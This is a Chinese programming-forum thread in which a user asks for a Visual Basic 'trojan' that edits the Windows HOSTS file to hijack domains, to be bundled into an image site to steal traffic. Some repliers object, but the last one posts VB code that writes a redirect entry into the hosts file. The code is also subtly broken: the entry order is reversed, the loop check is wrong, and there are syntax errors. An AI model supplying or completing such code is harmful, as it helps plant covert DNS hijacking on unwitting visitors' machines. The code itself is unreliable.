有没有VB编写的修改HOSTS文件的小木马?
就是VB编写的HOSTS域名劫持木马。
我想弄个研究下,捆绑在图片站上,给我的站带来点流量。
主要是研究下那个代码,有写过的贴出来看看,谢谢!
[解决办法]
lz要做木马,不厚道
[解决办法]
hosts文件只是一个不带后缀名的文本文件而已,直接用文本文件打开就行了
[解决办法]
楼主好可怜,被惨无人道的围观,还有楼上不断扔砖。。。
[解决办法]
行,我给你代码吧.
纯技术讨论.
dim Buff as string,LineBuff() as string
dim I as long,IsEdit as boolean
open "hosts" for binary as #1
buff=space(lof(1))
get #1,,buff
if instr(1,buff,"www.m5home.com",vbtextXXXX)>0 then '修改已有转向的情况
isedit=true
linebuff()=split(buff,vbcrlf)
for i=0 to ubound(linebuff)
if instr(1,buff,"www.m5home.com",vbtextXXXX)>0 then
linebuff(i)="www.m5home.com 192.168.1.1"
exit for
end if
next
else '没有这个转向,则直接添加
buff=buff & vbcrlf "www.m5home.com 192.168.1.1"
end if
if isedit then
buff=join(linebuff,vbcrlf)
end if
put #1,1,buff
close #1